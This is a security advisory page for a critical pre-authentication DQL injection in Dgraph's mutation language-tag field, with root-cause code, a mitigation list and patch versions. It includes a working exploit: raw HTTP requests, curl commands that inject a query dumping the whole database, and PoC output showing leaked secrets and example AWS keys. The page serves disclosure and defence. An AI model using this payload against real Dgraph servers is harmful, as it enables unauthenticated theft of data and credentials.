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GHSA-x92x-px7w-4gx4 v25

CRITICAL

GHSA-x92x-px7w-4gx4 is a critical-severity (CVSS 9.1) CWE-943 vulnerability in github.com/dgraph-io/dgraph/v25. A fix is available for github.com/dgraph-io/dgraph/v25 — see the affected versions and patch details below.

Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field

Also known asCVE-2026-41328GO-2026-5749
Published
Apr 24, 2026
Updated
Sep 10, 2026
Affected
3 pkgs
Patched
1 / 3
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-x92x-px7w-4gx4.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-x92x-px7w-4gx4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

3 pkgs affected
🐹github.com/dgraph-io/dgraph/v25🐹github.com/dgraph-io/dgraph/v24🐹github.com/dgraph-io/dgraph

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.

The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.

POC clip:

https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MetricValueRationale
Attack VectorNetworkHTTP POST to port 8080
Attack ComplexityLowTwo requests, deterministic outcome, no special conditions
Privileges RequiredNoneNo authentication when ACL is disabled (default)
User InteractionNoneFully automated
ScopeUnchangedStays within the Dgraph data layer
ConfidentialityHighFull database exfiltration: all nodes, all predicates, all values
IntegrityHighThe mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter
AvailabilityNoneNo denial of service

3. Vulnerability Summary

FieldValue
TitlePre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique
TypeInjection
CWECWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS9.8

4. Target Information

FieldValue
ProjectDgraph
Repositoryhttps://github.com/dgraph-io/dgraph
Tested versionv25.3.0
Lang splitx/x.go line 919 (PredicateLang splits on @, returns everything after as Lang)
Lang assignmentchunker/json_parser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))
Validation gapedgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang)
Injection sinkedgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang)
predicateName buildedgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))
Auth bypass (query)edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate)edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltrationdgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port8080 (default)
PrerequisiteA predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter.

5. Test Environment

ComponentVersion / Details
Host OSmacOS (darwin 25.3.0)
Dgraphv25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0
Python3.x with requests
Networklocalhost (127.0.0.1)

6. Vulnerability Detail

Location: edgraph/server.go lines 1778-1808 (addQueryIfUnique) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.

The JSON chunker at json_parser.go:524 splits mutation keys on @ via x.PredicateLang:

nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)

PredicateLang at x/x.go:919 splits on the last @ and returns everything after it as the Lang string with no validation:

func PredicateLang(s string) (string, string) {
    i := strings.LastIndex(s, "@")
    if i <= 0 {
        return s, ""
    }
    return s[0:i], s[i+1:]
}

validateKeys at server.go:2142 validates only nq.Predicate. It never touches nq.Lang:

func validateKeys(nq *api.NQuad) error {
    if err := validateKey(nq.Predicate); err != nil {
        return errors.Wrapf(err, "predicate %q", nq.Predicate)
    }
    for i := range nq.Facets {
        // ... validates facet keys ...
    }
    return nil  // nq.Lang is never checked
}

addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:

predicateName := fmt.Sprintf("<%v>", pred.Predicate)
if pred.Lang != "" {
    predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang)
}
// ...
query := fmt.Sprintf(`%v as var(func: eq(%v,"%v"))`, queryVar, predicateName, val[1:len(val)-1])

There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.

An attacker crafts a JSON mutation key:

name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #

After PredicateLang splits on @:

  • Predicate = name (passes all validation)
  • Lang = en,"x")) leak(func: has(dgraph.type)) { ... } } # (never validated)

The constructed DQL becomes:

{
  __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))
  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }
}

The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker creates the required schema via unauthenticated /alter:

POST /alter HTTP/1.1
Host: TARGET:8080

name: string @unique @index(exact) @lang .

No X-Dgraph-AccessToken header. In default configuration, /alter has no authentication when ACL is disabled.

Step 2. The attacker sends the injection payload:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "set": [{
    "uid": "_:inject",
    "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything"
  }]
}

Step 3. mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.

Step 4. x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.

Step 5. validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.

Step 6. addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.

Step 7. dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.

Step 8. authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.

Step 9. processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.

8. Proof of Concept

Files

FilePurpose
report.mdThis vulnerability report
poc.pyExploit: sets up schema, seeds data, injects, prints leak
docker-compose.ymlSpins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthLangDQL.mp4Screen recording of the full attack from start to exfiltration

ZIP with all the relevant files: DGraphPreAuthDQLLang.zip

poc.py

The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.

Tested Output

$ python3 poc.py
[*] Target: http://localhost:8080
[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique

[+] Schema created: name @unique @index(exact) @lang
[+] Seed data inserted (4 nodes with secrets)
[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true
[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!
============================================================
  UID: 0xf5fcd
  Type: ['dgraph.graphql']
  Name: N/A
  Email: N/A
----------------------------------------
  UID: 0xf5fce
  Type: ['Person']
  Name: Alice
  Email: [email protected]
  SECRET: s3cr3t_alice
----------------------------------------
  UID: 0xf5fcf
  Type: ['Person']
  Name: Bob
  Email: [email protected]
  SECRET: bob_password_123
----------------------------------------
  UID: 0xf5fd0
  Type: ['Admin']
  Name: root
  Email: admin@internal
  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE
----------------------------------------
  UID: 0xf5fd1
  Type: ['ServiceAccount']
  Name: prod-s3-backup
  Email: [email protected]
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
----------------------------------------
============================================================

[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field
[+] Impact: Full database read access without authentication

9. Steps to Reproduce

Prerequisites

  • Python 3 with requests (pip install requests)
  • Docker and Docker Compose

Step 1: Start Dgraph

cd LEAD_002_DQL_LANG
docker compose up -d

Wait for health:

curl http://localhost:8080/health

Step 2: Run the exploit

python3 poc.py

The PoC handles schema creation, data seeding, and exploitation automatically.

Step 3: Manual reproduction

To reproduce manually without the PoC script:

# Set up schema
curl -s -X POST http://localhost:8080/alter -d '
name: string @unique @index(exact) @lang .
email: string @index(exact) .
secret: string .
aws_access_key_id: string .
aws_secret_access_key: string .
'

# Seed data
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"Person","name":"Alice","email":"[email protected]","secret":"s3cr3t_alice"},
    {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"},
    {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}
  ]}'

# Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
  | python3 -m json.tool

What to verify

  1. HTTP POST returns 200 (endpoint is reachable without auth)
  2. Response contains data.queries.leak with an array of nodes
  3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means
  4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow

10. Mitigations and Patch

Location: edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)

  1. Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters.
  2. Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.
  3. Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808.
  4. Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.

Affected Packages

3 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/dgraph-io/dgraph/v25all versions25.3.3go get github.com/dgraph-io/dgraph/v25@v25.3.3
🐹Gogithub.com/dgraph-io/dgraph/v24all versionsNo fix
🐹Gogithub.com/dgraph-io/dgraphall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dgraph-io/dgraph/v25, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/dgraph-io/dgraph/v25 to 25.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x92x-px7w-4gx4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x92x-px7w-4gx4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-x92x-px7w-4gx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## 1. Executive Summary A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled. The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with `@unique @index(exact) @lang` via `/alter` (also unauthenticated in default config). The second sends a crafted JSON mutation to `/mutate?commitNow=true` where a JSON key contains the predicate name followed by `@` and a DQL injection payload in the language tag position. Th
O3 Security · Impact-Aware SCA

Is GHSA-x92x-px7w-4gx4 in your dependencies?

O3 Security finds GHSA-x92x-px7w-4gx4 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-x92x-px7w-4gx4: v25 (Critical 9.1) | O3 Security